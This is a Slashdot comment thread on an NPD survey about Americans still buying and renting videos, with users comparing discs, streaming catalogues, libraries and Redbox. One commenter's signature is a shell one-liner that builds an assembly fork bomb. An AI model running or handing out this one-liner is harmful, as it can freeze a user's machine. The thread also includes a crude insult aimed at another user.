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A Third of Americans Still Buy and Rent Videos (qz.com)
An anonymous reader writes: One-third of Americans still buy and rent videos, in addition to using streaming services like Netflix and YouTube, NPD Group found in its annual Entertainment Trends in America report. The research firm surveyed more than 7,000 members of its US online panel about their entertainment consumption during August 2017. Family films are still popular buys because kids will watch them over and over again. Spotty broadband service in rural America makes buying and renting more reliable than streaming for some. And some people just like to own and collect movies. Overall, 54% of people surveyed said they still buy or rent video.
Blu-ray video quality is still superior to most streamed video, in my experience.
... but buying can still be really really cheap. It takes very little time for a movie - especially on DVD - to hit the $10 or even $5 bin now. They've put so many movies into the "impulse buy" category now that it's no surprise a lot of people still buy. On top of that if I want something I can't stream I can often get a copy on DVD through an online seller.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
Netflix has both streaming and physical movies. But the catalogues are not identical, so there are many movies that you can get on disc that you can't stream.
In addition movies on Netflix come and go with their streaming service. Thus it is possible that a movie you watched previously is no longer available for streaming.
And that doesn't consider that I have had my Netflix streaming service seemingly disappear for days at a time, only to mysteriously re-appear for no reason at all.
So in reality the Netflix situation is just another example of a cloud service ebeing "someone else's computer".
I am Slashdot. Are you Slashdot as well?
We often "rent" videos from our local library. We don't pay anything for them (apart from our local tax dollars which I consider well spent on the library system and any late fees) but I guess you could consider them rentals. Yes, there is often a wait, but my library has an app to manage requests between library branches and renewals which makes it very easy. I'm currently on the waiting list for Spider-Man: Homecoming when a copy is freed up - and I'm the first person in the request queue - the copy will be sent to my library of choice and I'll be notified to come pick it up.
My sci-fi novel, Ghost Thief, is now available from Amazon.com.
"Renting" movies is when you put on your Walkman, ride your skateboard down to Blockbuster, and pay to borrow something that the rest of the world pays to stream or downloads for free.
Netflix's DVD library is pretty extensive compared to the streaming services, but so is TPB's.
He's getting rather old, but he's a good mouse.
Red Box is just easy.
Plus you NEVER have to wonder if you are popping a data cap and it NEVER buffers on you.
It was nice while it lasted.
Thanks, Ajit.
Have gnu, will travel.
How many Spencer Tracy, Katherine Hepburn, Alfred Hitchcock, or Charlie Chaplin movies are on Netflix? About half a dozen total (with zero Chaplins). A video store or your local library will probably have a few more. Every time I search my brother's Netflix for a movie or show (hmm, let's see... I'd like The Ghost and Mrs Muir, or Fantasia, or how about the real Avengers with Steed and Peel) it's not there.
I still rent and buy discs, in addition to cable/DVR and also streaming. I consider it a perfectly valid content format for a variety of reasons:
1) A disc never stops working (when treated right) :) )
2) Disc has best picture quality.
3) Disc has 3D capability (which I like, so shove it
4) Disc requires no internet access (which is important to many who have no, limited, slow, or capped Internet)
5) Disc rentals cover almost ALL movies out there, not just a sub-set available through streaming.
6) Purchased discs gives me the option to save it in varies different formats, resolutions, etc, and use it on any device I like, immediately, with no outside connection.
7) High-quality video on disc with no impact on network quotas.
8) Purchased discs give me the option to sell it later, or lend it to family/friends.
9) Discs have extra content- some of which is very interesting.
10) If you wait a while, prices on discs can be surprisingly, even shockingly cheap.
Of course, there are a some issues with discs:
* "Unskippable" content on discs I buy, which is infuriating (and they are shooting themselves in the foot.
* And discs CAN be damaged when not treated correctly- but I have never had that issue (except on some rentals, not discs I own).
* Rental discs often do not contain the "extra" content and sometimes have limited audio choices.
* Some [even natively shot] 3D titles are not being released on 3D discs, which is a shame.
* Having to physically store them... although this is hardly a big deal if you are willing to depart with the large, stock cases.
I still prefer "owning" movies I really like rather than streaming. You aren't subject to the whims of the streaming companies that have libraries that are constantly shrinking ( Netflix ) or rights holders that pull their movies to stream on a competing service (Disney).
Like streaming music, the rights holders are slowly moving in the direct of a model where you'll pay every time you watch or listen to their product.
Because Blu-ray Disc's bitrate is up to 54 Mbps, its picture quality can greatly exceed that of HD Internet streaming or HD cable TV. But 2K cinema can have an even cleaner picture than a 1080p Blu-ray Disc because DCP reels use Motion JPEG 2000 with high dynamic range at up to 250 Mbps.
Disc requires no internet access (which is important to many who have no, limited, slow, or capped Internet)
True of DVD. But don't players require occasional firmware updates to play new titles on Blu-ray Disc?
Disc rentals cover almost ALL movies out there
Still a big "almost". There are movies that haven't been rereleased on home video since the VHS days.
There are two possibilities. One is that journalists are innumerate journalism school grads. The other is that they're highly numerate and in fact geniuses of the level of Ramanujan but have a twisted sense of humour. Each figure they toss out is designed to make one possible rationalisation of all the previous figures untenable, until at the end of the article a numerate reader is forced to declare one or more of the figures a typo and work with the rest. Though with a sneaking sense that the decision as to which figure to ignore in order to produce a self consistent narrative is subjective and thus quantitatively speaking the article is entirely meaningless.
An astute player of the game will obviously aim for the mathematically beautiful result that the largest possible consistent subset of the figures they have quoted is 1, i.e. each figure is inconsistent with all the other ones.
Maybe this is what people learn at journalism school.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yes, I've bought a few FLAC "CDs" online, but the last time I compared, the bits in the FLAC files with similar sample rate were mostly but not exactly equal to the bits on a real CD, and in interesting places. That tells me that downloaded copies are likely tagged by purchaser, with some unknown effect on sound quality.
Classical music is also very poorly represented by online services. I even need to go international to buy some of the better but out-of-print CDs.
Also, last time I checked, my shelf of DVD/Blu-ray discs has only a very tiny representation on the streaming services, and only somewhat better even with Netflix' DVD service. So I would otherwise have to wait some indeterminate time to view any of the media represented by my discs online. Never mind the extra material on the discs.
So I remain heavily into physical media, though I play my ripped CDs via a Squeezebox setup.